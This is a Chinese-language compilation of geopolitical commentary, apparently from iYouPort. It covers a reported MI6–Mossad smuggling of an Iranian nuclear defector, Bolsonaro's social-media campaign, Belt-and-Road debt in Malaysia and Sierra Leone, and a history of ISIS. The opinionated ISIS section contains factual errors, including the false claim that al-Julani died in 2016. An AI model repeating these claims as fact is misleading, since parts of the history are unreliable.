据报道，这名叛逃的伊朗科学家被确认为47岁的男性“核技术员”，他在一艘充气筏上穿过英吉利海峡，躲藏在一大群移民中。报告说，“军情六处的间谍通过使用海峡移民危机作为掩护，将这位叛逃的伊朗核科学家偷运到英国。”

至关重要的是，这名未具名的叛逃者涉嫌参与2012年暗杀德黑兰的Mostafa Ahmadi Roshan，当时他被认为是德黑兰的核心专家。在“每日邮报”称之为去年10月开始的“萃取”行动之前，这位叛逃的科学家似乎一直在为摩萨德和其他外国情报机构工作。

“每日邮报”援引消息人士透露，2012年“Sunday Times”确认摩萨德是汽车爆炸事件的幕后黑手，该事件杀死了 Mostafa Roshan，据报道，这名47岁的叛逃科学家已经提供了信息。

根据2012年1月“卫报”对暗杀事件的描述：

*1*月*11*日上午，伊朗纳坦兹铀浓缩设施副主任穆斯塔法·艾哈迈迪·罗森（*Mostafa Ahmadi Roshan*）被安装在汽车门上的磁力炸弹炸毁了他的汽车，当年他*32*岁，已婚有一个小儿子。他没有武装，事发地点附近没有任何战场。

自*2010*年以来，其他三名伊朗核科学家都在类似的情况下被杀，其中包括一名*35*岁的电子专家 *Darioush Rezaeinejad* 去年七月在德黑兰他女儿的托儿所外面被枪杀。

最近在2018年制定了一项计划，目标就是这位重量级情报资产和叛逃者，其中涉及摩萨德帮助他逃离伊朗到土耳其，之后军情六处利用移民危机作为他进入英国的“掩护”。

他的失踪立即引发了伊斯兰革命卫队的广泛搜查。

“每日邮报”引用匿名情报来源报告描述：

即使进入了法国，如何让他进入英国的问题仍然存在。我们不能简单地让他进来。虽然不寻常，但最终确定，将他渗透到一群准备乘船穿越海峡寻求避难的移民中。

显然这样做是有效的，报告说：

这名47岁的男子在充气船上隐藏在其他伊朗难民中间穿越海峡。据报道，这名科学家通过陆路前往加来附近的法国海岸，以色列特工莫萨德将其从其祖国走私到邻近的土耳其。

这种奇怪行动的理由是军情六处想要采访叛逃者，但鉴于英国仍然是2015年伊朗核协议的一部分，于是这件事在政治上是敏感的。

据报道军情六处在最终继续前往美国之前采访了这名男子。“每日邮报”称，“军情六处在他飞往美国之前就伊朗的核计划采访了这位核技术人员”。

与此同时，以色列的媒体机构已经开始传播这个故事，这份报道尚未得到任何高层政府的确认，他们也不太可能承认这种涉及以色列摩萨德、军情六处或中央情报局的秘密行动。

“耶路撒冷邮报”充分记录了针对伊朗官员的这种奇异和高风险的情报和暗杀行动：“据说以色列发动了一系列秘密行动，通过消除那些被认为有价值的科学家来阻止他们参与伊朗的核计划。“但报告还说，“以色列从未证实或否认过这种说法。”

如果中央情报局目前正在与现在居住在美国土地上的伊朗高级核科学家叛逃者交谈，那么这是否可能成为下一个""Curveball""型的线人，为政府提供所需的一切，以便为伊朗的政权更迭提供理由？

Mossad, MI6 Smuggled Defected Iranian Nuclear Scientist In Migrant Caravan To UK. The 47-year-old man is thought to have hidden among other Iranians on an inflatable boat when making the crossing.

原文

阴谋论状元 - iYouPort

地缘政治

巴西新任总统 Jair Bolsonaro 站在种族主义、性别歧视、同性恋恐惧症、酷刑和废除人权的平台上开始执政；他的胜利要归功于 Whatsapp 和 Facebook 上传播的宣传性假消息和阴谋论。

Bolsonaro 上任的第一天就公布了一系列针对种族、性别和性别认同少数群体的法律攻击，这些攻击可能会使该国回到曾经残酷的军政府时代。

他的支持者在他的就职典礼上高声呼喊 “Facebook！”和“Whatsapp！”场面惊人。

「图」

「图」

Facebook 公司表示已经删除了68个 Facebook 页面和43个用户帐户，这些帐户与一个阴暗的巴西营销组织 Raposo Fernandes Associados（RFA）有关。但是已经彻底晚了。Bolsonaro 已经赢了。

路透社说：该组织是互联网上极右翼总统候选人 Jair Bolsonaro 的主要支持网络。RFA 使用虚假账户或多个同名账户创建页面，并发布了大量用于欺骗人们访问第三方网站的诱导性标题。

在工党的左翼总统候选人费尔南多·哈达德（Fernando Haddad）指责 Bolsonaro 的支持者在竞选期间使用它来传播误导性信息之后，Facebook 的流行消息服务 WhatsApp 也受到了巴西的审查。

WhatsApp 在巴西拥有超过1.2亿用户，这个国家拥有近2.1亿人口。消息服务已成为巴西人与朋友、同事和家人保持联系的主要方式之一，也是获取政治信息的重要渠道。但 WhatsApp 充斥着假新闻和阴谋论。

作为信息渠道，Facebook 是集中化的，WhatsApp 是隧道化的，这就

是为什么虚假消息和阴谋论能够操纵民主。审查是不会解决任何问题的。

Fans of Brazil’s new fascist president chant “Facebook! Facebook! Whatsapp! Whatsapp!” at inauguration: On Bolsonaro’s first day in office he unveiled a suite of legal attacks against racial, gender and gender-identity minorities that threaten to roll back the country to the days of the brutal military junta he once served.

原文

马来西亚变卦了还要依赖中国？ - iYouPort

地缘政治

几个月来，马哈蒂尔·穆罕默德一直鼓起勇气宣称，在中国投资基础设施方面，他的马来西亚“可以说不”。东海岸铁路线预计耗资200亿美元，这是一个大问题。事实上，它是“一带一路”（bri）所有项目中的第二大项目。

对于 Mahathir 政府来说，这个路径是一头白象：东海岸的人口比西边少得多。当马哈蒂尔的前任总理纳吉布·拉扎克（Najib Razak）向中国国有企业和银行授予建设权并接受融资时，没有任何竞争性招标过程。 Najib现在面临着国家投资工具1mdb失去数亿美元的指控。

无论哪种方式，东海岸铁路的交易对于马来西亚人来说都是不平衡的。该项目几乎完全由中国贷款提供资金。中国工人，而不是马来西亚人，被聘请从事建筑工作。回报也值得怀疑，马来西亚的政府债务一直在上涨。中国官员描述了开放、相互尊重和“双赢”的结果。但是在马来西亚的困境方面撒了谎。

然而，马来西亚显然担心取消这笔交易会冒犯中国。部长最近宣布该项目已经结束；马哈蒂尔解释说，马来西亚负担不起。但是，一天后，马哈蒂尔自己食言了，他说没有做出最终决定。不止于财政方面的考虑。

「图」

「图」

尽管中国否认所有具体的倾注都是国际政治工程的巨大举动。但前葡萄牙外交大臣兼作家布鲁诺·马西斯（BrunoMaçães）认为，其对政治和社会的溢出效应“不是项目细节错误，而是其最基本的特征问题”。

道德而非法律规则支配着国家间的关系，包括依赖、慷慨、感恩和互惠—但也包括报复。就马来西亚而言，执政联盟的政客们表示，中国政府特别恼火，他们可能通过减少进口棕榈油和遏制中国人的旅游来惩罚马来西亚（中国新年的访客人数已经下降）。现在已经有许多人

开始担心“中国的愤怒”会损害他们的商业利益。

与此同时，其他人正密切关注着。全球发展中心去年的一份报告列出了参与 bri 的23个国家，这些国家处于债务危机的“重大”风险之中。其中一个是缅甸，想要削减若开邦的港口和经济区的规模，以及搁置在伊洛瓦底河上游的一个有争议的大坝的建设。另一个就是巴基斯坦，bri 项目的最大受益者，正面临国际收支危机。

机会主义而非中央导向目的，定义了中国的许多一带一路项目。此外，中国自己也存在风险。在马来西亚、缅甸、斯里兰卡以及最近的马尔代夫，民主力量的上台部分原因是厌恶前任独裁者对中国的亲密。

马来西亚的决定对其他国家来说仍然很重要。因为，如果一个相当繁荣、强大的国家都无法抵挡中国，那么较贫穷、较弱的国家肯定无法做到了。

Chinese investment in infrastructure is often a diplomatic trap. The Belt-and-Road Initiative creates more than economic ties. Malaysia’s decision is important to others. If a fairly prosperous, robust country cannot stand up to China, then poorer, weaker nations certainly won’t be able to.

原文

鬼魅缠身 BRI - iYouPort

地缘政治

就在他宣布废除这笔交易的几天后，Bio 先生却出现在国有的中国电视台上，明确表示他毕竟不会退出中国的“一带一路”……

「图」

「图」

塞拉利昂是最新一个拒绝更多中国贷款的国家，担心债务陷阱永远无法偿还，迫使其依赖中国。

这次是机场项目。上个月，政府认为数百万美元的价格太高了，因此它取消了使该建设成为可能的融资：塞拉利昂可能难以偿还来自中国的3亿多美元贷款。

塞拉利昂似乎正在听取其他发达国家来之不易的教训，这些国家已经发现自己为中国付出了巨大的代价。然而，就在他宣布废除这笔交易的几天后，Bio 先生却出现在国有的中国电视台上，明确表示他毕竟不会退出中国的“一带一路”。事实上，他正在寻求帮助建造一座价值超过10亿美元的桥梁项目，并且也愿意重新谈判机场贷款。

在撒哈拉以南的非洲地区，像塞拉利昂这样的政府选择了忽视发展中国家在从中国大量借贷后蹒跚着走向经济困境的明显危机。国际货币基金组织已经警告称，该地区40％的国家即将陷入债务危机。但其中许多国家仍在寻求北京的贷款，以帮助为机场，高速公路，铁路，水坝和电力项目提供资金。

肯尼亚现在从中国借来的钱远远超过了其他任何国家。但它也依赖于大量的中国制造业进口，贸易不平衡使得筹集外币以偿还债务变得更加困难。根据总统乌胡鲁·肯雅塔（Uhuru Kenyatta）的说法，肯尼亚与中国的贸易在过去十年中增长了八倍，他本月在上海的一次会议上抱怨说贸易利益偏向于中国。

在竞选期间，Bio 先生谴责新机场项目，称其为“虚假阴暗”，对于一个每年不超过 40,000 名旅客的国家来说，这是不必要的。货币基金会也对这笔交易发出了警告。取消贷款是 Bio 先生今年上任后首先采取的重大举措之一。

但是，在中国的电视台上，Bio 先生却退缩了，他解释说他只对机场交易的条款持否定态度，并且不是想要取消和中国全面打交道的计划。他甚至接着称赞中国给予塞拉利昂的其他援助。

⚠塞拉利昂是世界上最大的铁矿石产地之一，其经济主要来源是由中国支持的矿业项目，该项目出口矿石供中国钢铁厂使用。该国政府官员拒绝就增加中国贷款的计划发表评论。

One African Nation Put the Brakes on Chinese Debt. But Not for Long. During his election campaign, Mr. Bio decried the new airport project, calling it a “sham that is clouded with secrecy”. But on Chinese television, Mr. Bio backpedaled, explaining that he was negative about only the terms of the airport deal, and that the cancellation wasn’t intended as a sweeping indictment of dealing with China.

原文

ISIS 简史 - iYouPort

中东和北非

一位亲美国的武装力量指挥军官说：“我们原本以为选择美国就可以抱住西方国家的大腿，没想到完全押错了宝”。

「图」

「图」

三起连续发生的袭击（屠杀）事件： 10月1日周日下午，法国马赛市中心火车站，一名男子高喊“真主伟大”刀杀路人。周一，ISIS通过官方通讯社声明承责；此前一天周六晚，阿尔伯塔省埃德蒙顿，ISIS恐怖分子驾车高速撞向执勤的警察，并持刀连续狂捅多刀后逃逸，后来这名恐怖分子又驾驶一辆U-Haul货车，试图撞向人群；10月1日晚10点许，美国拉斯维加斯露天音乐节上发生枪击事件，造成至少58人丧生，500多人受伤。枪手自杀身亡。次日ISIS宣称抢手数月前改信伊斯兰教。很多人认为，这不过是诡计，是又一次借机污蔑信仰。

可真相如何，谁也不知道。ISIS不行了吗？人们一直在这样问着。自从阿布·穆萨布·扎卡维举起那面黑旗，他手下的这支武装组织就是实打实的军队，然而如今，他们已然沦落到了只能将“圣战”舆论符号化的猥琐宣传中。

只能希望这一推测是真实的，毕竟巴格达迪可不是他的前任扎卡维那种土匪，这货心计颇丰。

称其为军队不无道理。ISIS曾经取得过诸多戏剧性的“胜利”。2014年春天，伊斯兰国军队纵横伊拉克西北部，几乎所向披靡，连续击败了伊拉克政府军四个师、拿下了同一地区六座军事基地，就连最大的军事要塞也被他们攻克。此番征战令他们占据了全国三分之一的领土。

伊斯兰国的发展势头堪称出人意料，不得不承认，他们获得了很多“地利人和”的契机。

「图」

「图」

阿拉伯之春变成噩梦，巴沙尔的诡计培植极端势力

2010年底，在突尼斯和埃及，大批民众涌上街头是为了寻求变革，人们乐观地把“一个新中东即将诞生”预见为这一运动的前景。然而各穆斯林国家的命运并不相同，使得这场波及多国的民主化运动蒙上了阴影。截至2016年7月，只有突尼斯成为阿拉伯之春中唯一能实现民主转型的国家。

伊斯兰国就是趁此乱局崛起的，他们控制了大片区域，此外其他多个国家也纷纷陷入了长期的动乱和战争，并引发了欧洲移民危机。其中最重点的是叙利亚。

在叙利亚，这一局势不仅没能激发改革，反而成为了巴沙尔政权酝酿阴谋的“大好机会”。

包括白宫和邻国约旦国王在内的很多国际政治领导人，在巴沙尔上台之初都曾经对其寄予过厚望。巴沙尔的父亲是个固执的政治强人，他出身贫寒，一步步爬到了国家总统的位置，这一过程势必养成了他精于算计、冷酷无情的人格。

不过巴沙尔和其父亲完全不同，他受过西方高等教育，娶了高度西化的妻子，他身边的几位顾问给人的印象是才智过人，而且非常世俗化，曾经是国际银行高管、或做过跨国机构领导工作。这也是为什么美国人当初执意认为巴沙尔一旦站稳脚跟、彻底控制住国家安全机构和情报官员后就会大刀阔斧的改革。但事实证明，他们全想错了。

叙利亚反对派和政府派各占三分之一人口，另三分之一人口正处于恐惧之中。这部分中间阶层大多来自少数族裔，或是隶属少数教派，商人和技术人员也是其中的中坚分子。这些人的政治立场不坚定，他们只是想观望，看看政府和反对派究竟谁会赢。

巴沙尔充分利用了中间派的恐惧心理——给反对派贴上恐怖分子或宗教极端分子的标签，把他们的反对行为定位为种族清洗和宗教清洗——这样一来就可以把大批骑墙派人士变成政府的盟友。

「图」

「图」

果不其然，人们由于害怕“站错了队伍”，而不得不大尺度地表达亲政府立场，当美国媒体来到叙利亚采访在海滨度假的中产阶级时，他们异口同声地宣称“巴沙尔是英雄”、“反对派是恐怖分子”。

巴沙尔通过这种方法牢牢控制了大马士革和阿勒颇两个全国最大的城市和商业中心，这是整个国家的命脉，即便舍弃几个沙漠中无关紧要的小城镇，让反对派盘踞在此，也已经无妨大局。

部分白宫高层只看到了巴沙尔的银行存款在不断流失，却低估了其强有力的海外援助。伊朗和叙利亚向来是盟友，伊朗支持的真主党（Hezbollah）游击队在黎巴嫩和以色列边界活动，为了保证军需物资一路畅通运送到那里，伊朗方面不会对巴沙尔政权的危机坐视不管；另外还有俄罗斯总统普京，非常乐于提供武器装备，毕竟叙利亚和俄罗斯之间的军购贸易由来已久，俄罗斯军队在中东唯一的海军基地就在叙利亚境内。

正是这个大背景，为ISIS恐怖组织铺展开一片天地。

叙利亚反对派的构成发生悄然变化的最初，国际社会并没有察觉到。众所周知，叙利亚爆发示威后不久，巴沙尔政府就宣布了一场大赦，但是，很多参与示威的人并没有被释放，被释放的却是一些宗教极端分子。

这些极端分子曾试图潜入伊拉克境内参与暴乱，因此被抓捕，其中有些人的名字更是登上了美国中情局的黑名单，被怀疑与基地组织有联系。由于叙利亚情报局的“非常规引渡”政策（extraordinary rendition）这些人被带到了叙利亚蹲监狱。

当然，这波特赦中获释的极端分子人数并不多，不足以形成什么严重的危害，但他们的存在恰恰印证了巴沙尔对反对派涉嫌散播宗教极端思想的谴责。之后确实有一部分人加入了反对派阵营。这样的策略并非巴沙尔原创，而是效仿利比亚前领导人卡扎菲的故伎——当初这名独裁者见大敌当前，便敞开牢门将囚徒释放一空，目的就是给敌人添乱。

叙利亚总统释放的囚犯中有几个美国和约旦情报人员都很熟悉的身影，其中不少人是ISIS创始人、约旦痞子扎卡维的手下，他们所属的组织名叫“基地组织伊拉克分支（al-Qaeda in Iraq）”，扎卡维就是通过这支队伍依附塔利班在伊拉克发展起来的。之后更名为“伊拉克伊斯兰国（Islamic State of Iraq）”以此形成一种“真正国家”的假象。它不仅拥有一个政府和很多职能部门，甚至还有自己的国旗。

> “你们说的那个伊拉克伊斯兰国在哪儿啊？我们现在都在沙漠里苟活呢！”这句话被记录在伊拉克法庭审理的资料中，出自一位ISIS领袖的妻子之口。

「图」

「图」

战争滋生的魔鬼——阿布·巴克尔·巴格达迪

巴格达迪（Abu Bakr al-Baghdadi）上位了。原本他只是个三号人物，由于前两把交椅的大佬都在美伊战争中被炸死了，晋升的机会才落到他头上。

ISIS前两任领导人约旦人扎卡维和埃及人穆哈吉尔都可以称得上斗士，而这位新领导人却更像是个学者。巴格达迪曾经是教授，还拥有博士学位，上任时32岁，性格阴郁，特别注重细节。他原名易卜拉欣·阿瓦德·阿里·穆罕默德·巴德里·萨玛拉·阿布·贝克尔·巴格达迪，成为“圣战士”后自行改名为“阿布·贝克尔·巴格达迪”。

如果美军当年没有入伊拉克，或许巴格达迪的双手还不会沾染血腥，他会继续在课堂里教书，坐在干净的办公室里思考学术问题。他没有本拉登奔赴阿富汗的豪气，也不是他的前任扎卡维那种顽劣少年。事实上，直到**2003**年为止，巴格达迪的生活轨迹都非常的普通。

他甚至连所谓的领袖魅力都没有，戴着个眼镜，喜欢看足球，大多数时间里都是独处的。这些信息由他当年的邻居提供给媒体，他们描述巴格达迪时说“他太文静了，很少说话”。

「图」

「图」

巴格达迪一家住在萨迈拉，附近大多数家庭都处于社会中等偏下层次，他的父亲是一位逊尼派伊玛目，在城中的清真寺工作。巴格达迪从小就常常穿着白色的迪士达沙长袍，默默的走在清真寺和家之间的路上，像个清教徒。

他长大成人的这段时间恰好与伊拉克最动荡的一段历史相契合。他生于1971年，10年后正值两伊战争爆发，双方交战8年，50多万人失去生命，此时巴格达迪正值少年。待他20岁时伊拉克又迎来了海湾战争的惨败。巴格达32岁时获得博士学位，同年美军入侵他的国家。

他比所有人都了解古兰经里呼吁抵制外敌、保卫家园的内容，于是他加入了抵抗组织，开始对美军进行零星的袭扰。2004年1月，美军在费卢杰突袭中抓到了巴格达迪，将他带到伊拉克最令人生畏的地方——布卡监狱（camp bucca）关押。

该监狱之所以令人生畏，源于美军错误的管制办法——将极端分子和普通囚犯关在一起，于是布卡监狱成为了极端分子传播“圣战理论”的“特殊大学”。巴格达迪就是在这里变成一名圣战士的。由于其学术出众（其实就是擅长歪曲教义），进而成为了恐怖分子的偶像。

「图」

「图」

为了避免囚室太挤，2004年狱方准备把一些危害程度低的囚徒放出去。狱方在审理了巴格达迪的资料后觉得，此人文质彬彬，还深受爱戴，应该没什么威胁可言，于是，当年的12月，巴格达迪正式出狱了。

2006年，当时的ISIS领导人扎卡维成立了一个名叫“圣战者苏拉委员会”的组织，巴格达迪就受聘为这个委员会的顾问之一，主要负责有关沙里亚法的法律问题。

2011年，阿拉伯之春如火如荼之际，巴格达迪通过伊斯兰国的舆论武器向开罗的示威者们提出建议：既然已经驱逐了“叛教”的穆巴拉克，下一步他们应该有继续“革命”的义务——向西奈半岛推进。他还就此发表了一篇宣言：“各位的眼前，圣战的大门已经打开，圣战的前景是如此光明！”

巴格达迪和其手下都觉得此时的叙利亚和9年前的伊拉克是何其的相似，都遭受着暴力残害、都没有法纪规则，并且在他们眼中，叙利亚比伊拉克更为优越，因为没有美国人来碍事。

> “如果没有那场革命（阿拉伯之春）叙利亚也不会成为我们的地盘。动乱扫除了许多障碍，我们才有机会踏足这片可爱的土地” ——阿布·穆罕默德·祖拉尼，巴格达迪最信任的副手，2016年在阿勒颇空袭中被炸死

根据ISIS的计划，祖拉尼等人建立起一支新的武装，与叙利亚其他反对派一起对巴沙尔政府进行打击。这支队伍名叫努斯拉阵线(Jabhat

al-Nusra)，翻译过来就是“大叙利亚人民阵线”，但这是个幌子而已，巴格达迪根本无心帮助叙利亚人，他只是利用这个据点为自己的“哈里发国”理想打下基础。

ISIS中不少领导人都出身军旅，曾在萨达姆手下做过军官，他们虽然和扎卡维同属逊尼派，但从未得到真正的信任。待扎卡维一死，权柄落到了这些军人手中，一时间大大小小的主要职位无一不被复兴党分子把持。巴格达迪的履历为他赢得了晋升的机会——知名法学专家、来自正宗的伊拉克逊尼派家庭。到2010年，整个ISIS组织的所有“教法事务”全归他一人定夺。

巴格达迪缺乏军旅经验，但却有着其他人不及的优势，他很擅长歪曲“教义”，为种种暴行寻找合理的解释。他的谰言早就遭到了全球伊斯兰学者的批评。

他根本不在乎这些。他的目的是：打破殖民者为中东各地划下的边界，他说“那些边界是邪恶的手强加在伊斯兰国之上的”，他宣称：“我们的国由阿布·穆萨卜·扎卡维奠基，我们的国不会受限于任何疆域，必将扩张壮大……”

「图」

「图」

叙利亚：巴沙尔的离间计

巴沙尔眼中美欧的苦口婆心一文不值，叙利亚当局持续加强着对示威人群的镇压，连民兵组织都遭到了打击。

白宫很关注叙利亚局势，但只是关注，不怎么关心。奥巴马政府的几位国家安全顾问一直认为，巴沙尔一定会倒台，只是时间问题。两位白宫的中东专家亲赴叙利亚考察，那会儿巴沙尔政权看起来的确飘摇不定了，政府军中不少军官已经投奔了所谓的“叙利亚自由军（Free Syrian Army)”,政府控制的不少区域已经成为自由军的领地。于是白宫专家认为，巴沙尔气数已尽，不用美国费力了。

但后来发生的事，他们谁也没想到。巴沙尔不但挺过来了，还欢蹦乱跳了。

叙利亚局势步步升级，冲突演化为全面内战，奥巴马当局开始着急，想找一个办法把双方拉回谈判桌边，但一无所获。白宫能干预埃及和也门，因为美国长期为两国提供经济援助，而利比亚联军的军事行动

已然获得联合国首肯，美国也不用担心法律道德问题，但叙利亚不一样。美国和叙利亚既没有经济来往也没有军事合作，连重要贸易伙伴都不是。

美国虽然在联合国一再要求对巴沙尔虐待平民的恶行予以惩罚，但俄罗斯方面仍愿意长期为其盟友提供庇护。通过投票，欧盟决定抵制叙利亚石油，而就在此时，另一个盟友伊朗应身而出了，他们划拨了几百亿美元借款，填补了巴沙尔的亏空。

就这样，巴沙尔挺过来了，还布下了重兵，建起了牢固的壁垒。与此同时，他向盘踞在各领地的反对派发起了突袭，一场坦克和炮火的交锋往往可能摧毁掉整个居民区，据多方公布的数字，死亡人数从**110,472**多到**162,402**不等，都是平民，不包括政府军的死亡数字。

联合国和阿拉伯国家联盟（League of Arab States）中对巴沙尔的非议越来越多，白宫及其盟友私下劝说巴沙尔主动下野、寓居外国。但是，这些人并没有真的着急，因为一个不可言传的小心思是他们的共识——只要战争持续，伊朗的道德和经济负担就会日益加重，通过这种恶劣局势给巴沙尔的头号盟友放血，似乎也不错……

「图」

「图」

叙利亚的街头抗议者最初是五彩缤纷的，相当多元，不单有各种宗教信仰的代表，还有来自社会各种阶层的民众，游行人群中经常可见的是，古兰经和十字架一并高举的景象，这无疑印证了信仰的平等。

但团结的局面非常短暂，宗派仇杀和种族仇杀便接踵而来了。

巴沙尔成功的离间了所有人，这手活儿和当年扎卡维在伊拉克搞的乱局，何其相似。

美国不想利用空中力量庇护叙利亚反对派，对小额军事援助更没兴趣，而联合国方面，俄罗斯一再否决对叙利亚的制裁，连作掩护的议案都没有，反对派基本是无依无靠。

叙利亚反对派和利比亚反对派截然不同，他们连个像样的根据地都没有，难以组织阵线，手里只有小型武器，大型的致命武器都被政府军把持着。美国不想在中东重蹈覆辙，与此同时，ISIS大举展开了宣传攻势。

「图」

「图」

“努斯拉阵线”的崛起

土耳其南部地区，邻近叙利亚的地方是努斯拉阵线和其他“圣战”武装的募兵重地。很多阿拉伯人选择为极端武装组织提供资金和物资援助，有的捐赠现金，有的捐赠首饰，还有的甚至直接提供武器装备。一些阿拉伯国家也在暗中支援这些恐怖组织，他们提供的武器往往威力惊人。比如卡塔尔和科威特。

这两个海湾国家同由王室统治，也同样是美国的亲密盟友，但两国政府中不少人同为极端组织的拥护者，在他们看来，唯有极端组织才能彻底终结巴沙尔的独裁政府。

滚滚金钱和大批武器源源不断的流入叙利亚，宗教割据极速逼近。逊尼派、阿拉维派和库尔德人背后各自都有外国金主的支持扶持，巴沙尔政权仍控制着大城市和海滨地区，但内陆已经基本是宗教极端分子的天下了。

卡塔尔远离叙利亚1100公里，他们的位置足以隔岸观火，甚至可以“两面下注”看大戏。但约旦可坐不住了，眼见着极端组织的军力越来越近，情报官员纷纷发现“来客”们不仅在约旦境内找好了很多藏身之处，还囤积了不少的武器。这是要在安曼挑起纷争的架势。

2011年底到2012年，约旦国王什么也没干，光忙着在边界筑墙了，但即便如此也没能挡住叙利亚难民逃到约旦。2012年，光阿塔里一地就涌入了三万多难民，一年后变成了十五万六千多人，约叙边界建起了鳞次节比的临时居所，远远看去就像一座新兴城镇……

阿卜杜拉二世国王四方求助，以解决难民的冬衣问题，但与此同时，某些西方国家希望约旦划出一片土地，以训练叙利亚反对派中的“世俗力量”，这些世俗力量将成为南方前线的主力军，可以从基地出发乘隙直扑大马士革。阿卜杜拉犹豫了半天，最终答应了这个计划。**2013**年，“南方前线”正式开启。与此同时，美国中情局也在土耳其南部培训类似的组织。

不过，白宫虽然开了绿灯，却又对训练内容、武器规模和弹药发配方面设下了很多限制。中情局支持的武装分子月俸才**100**到**150**美元，这个数字不够极端分子的一半，而且每个士兵只有**16**发子弹。没多

久，很多新兵纷纷倒戈，投入到其他队伍中去了，顺便还带走了武器。

> 一位亲美国的武装力量指挥军官说：“我们原本以为选择美国就可以抱住西方国家的大腿，没想到完全押错了宝”。

叙利亚反对派的营盘如流水，结构复杂、变幻无常，其中有些团体属于本土，听从世俗主义的叙利亚自由军领导，另一些就是宗教极端组织，其中努斯拉阵线是他们的代表。此时，极端组织已经成为叙利亚反对派的主要组成部分，为了招募更多人，努斯拉阵线在twitter和Facebook开始了账号，发布“教学视频”。

招募到的新人中很多来自欧洲，起初只有几百人，后来很快就上涨到千余人，他们持有欧盟和北美国家的国籍，可以在全世界各地自由行走。几个月前出了部新剧《The State》，中文名叫《弃明投暗》，讲的就是这批人的故事。

「图」

「图」

这个时候美国是真害怕了。从中情局到五角大楼，所有报告都提到了这一焦虑，驻叙大使福特被亲巴沙尔的民众扔西红柿臭鸡蛋赶回美国之后，就加入了国务院的叙利亚问题小组。

他们的分析指出，若以基地组织为标准，努斯拉阵线的极端程度并不高，但他们的做法足以引起警惕。努斯拉阵线一旦占据村庄，就会立即着手推行所谓的“教法”，并且很古怪的是，该“阵线”成员极少对平民使用暴力，甚至还会主动清理垃圾，并给一些贫困街区发放食物和饮用水。很有黑社会范儿。

叙利亚和以色列相邻，堪称中东的“锁芯”，如果这样一个国家落入恐怖组织之手，很可能会令其他阿拉伯之春运动波及的地方产生多米诺骨牌效应……

2012年夏末，奥巴马政府来了个180度大转弯，同意向叙利亚“温和派”反对组织提供武装，扶持温和派打击极端派。这已经是华盛顿满手烂牌中为数不多能打的一张了。

当时，白宫依旧坚持仅提供非致命武器，同时奥巴马依旧认为应该侧重外交手段让巴沙尔放权；同时，眼见调停无望的科菲安南（Kofi

Atta Annan），辞去了特使职务。叙利亚内战还在升级，但双方均未取得压倒性优势。

在巴沙尔政府军出现疲惫之时，真主党分子成为了新的援军。叙利亚政府军不断派出军机对反对派据点进行空中打击，同时，土耳其和海湾国家对叙利亚反对派的援助也是源源不断，反对派很快被极端分子渗透了。

任何得到美国支持的反对派团体都有可能突然变节，美式武装到了他们手里，更有可能成为杀戮的工具。之前的实例已经表明，即便是那些友好的反对派团体，也在偷偷贩卖美国提供的武器装备……似乎也不奇怪，历史上美国政府曾为无数草莽游击队提供过类似的帮助，但最终往往得到的都是背叛的结局。

「图」

「图」

希望已纷纷破灭

> “高举着黑旗的士兵跨着马儿自东方而来。他们长发蓄须，以各自的家乡作为姓氏”——据说这句话来自《圣训》

对照现实，似乎已经成真。这支“黑旗军”虽然没骑马，他们是坐着皮卡来的，成群结队，十几个人挤在一台车上，穿越伊拉克沙漠向西而去。

一年前，ISIS武装介入叙利亚内战，一年后，巴格达迪宣布，局势已在控制之中。

这条公路的一端是伊拉克的安巴尔省，另一端深入叙利亚的腹地，它由巴格达迪派出的心腹大将把持着，此人名叫阿布·瓦希卜（Abu Waheeb），绰号“沙漠之狮”，本职工作是电脑编程，一心想做个“圣战超级英雄”，其偶像是IS创始人扎卡维。这货行事风格与扎卡维一般的残暴。

这个暴虐的瓦希卜就是巴格达迪的得力助手。现在巴格达迪准备开赴叙利亚了，瓦希卜就是急先锋。

2013年4月，巴格达迪代表ISIS领导层发布了一段长达20多分钟的宣言，正式取消了身在叙利亚的下属团队努斯拉阵线的单独编制。他宣

布，伊拉克伊斯兰国将与叙利亚极端势力合并，组成“伊拉克与大叙利亚伊斯兰国（Islamic State of Iraq and al-Shām）”.

所谓的“大叙利亚”，基本相当于英语中的黎凡特（Levant），位于地中海东岸，北达土耳其南部，包括今天的叙利亚、黎巴嫩、约旦和以色列。也因此，英文世界经常把巴格达迪一伙称为“ISIS”或者“ISIL”，两个词意是一样的。

「图」

「图」

出人意料的是，努斯拉阵线的成员否定了巴格达迪的合并宣称，他们打算坚决维护组织，丝毫没有退出历史舞台的意思。努斯拉阵线领导人祖拉尼发起了宣传反击，称“阵线旗帜永在，无人能够改变”。这可是巴格达迪的老战友啊，分裂了。

祖拉尼直接向基地组织领袖阿伊曼·扎瓦希里（Ayman al-Zawahiri）提出了仲裁申请。当年痞子扎卡维就很不得扎瓦希里的喜欢，如今其后人依然被基地组织腻歪，祖拉尼算是找对人了。2013年6月，扎瓦希里发表公开信，指责巴格达迪肆意妄为，“合并”这样的大事居然不向组织提出申请。这位基地领导人开出了严厉的罚单：巴格达迪停职一年。

扎瓦希里不会希望伤了两边的和气，他信奉的原则是“穆斯林的血不能流在穆斯林手上”。他派出了基地组织中资历很老的一名私人信使，前往叙利亚调停，此人名叫阿布·哈立德·苏里。

这场内斗不仅激烈，而且完全公开化了。网络论坛和聊天室里，极端主义理论家们各自代表一方，大打嘴仗，都认为自己的领袖才能代表“圣战”发展方向。

在此同时，ISIS的各项行政体系都在向着真正的政府模式靠近。巴格达迪制作了行政审批的流程图，设置了各类主管部门，管辖范围包括社交媒体、物流运输、金融、军事训练、人员招募等。甚至还有个部门专门负责管理人肉炸弹。

2014年，基地组织特使阿布·哈立德·苏里在阿勒颇附近一间极端组织营地里休息，这时，五个人端着步枪冲入房间，其中一人拉响了背心中的炸弹。苏里死了，另外六个人也一同丧命。

此事后，基地组织明确与**ISIS**划清了界限，不但要求属下远离伊斯兰

国，还鼓动大家对后者发起攻击。此时，巴格达迪的手下已经囤积了最好的武装，整合了最有经验的士兵，他们已经成为叙利亚反对派军中的“翘楚”，而且势力还在不断扩大中。

「图」

「图」

“披萨饼打飞机”

这里是拉卡（Raqqa），叙利亚东部省会，这座城市临河而建，城内建筑破旧。上千年的历史中，各族的铁蹄数度蹂躏此地，先是希腊人的到来，接着是罗马、波斯、蒙古和奥斯曼帝国，如今，又轮到宗教极端分子了。

2013年夏初，一支ISIS武装部队的白色皮卡闯入了城市近郊，几轮交战后，“叙利亚自由军”退出了拉卡，至此，这座小城正式沦为ISIS在叙利亚境内的总部所在地。城中22万名百姓成为了第一批活在恐怖分子手下的居民。（今年9月2日，叙利亚民主军宣布，已从ISIS手中夺回拉卡老城）

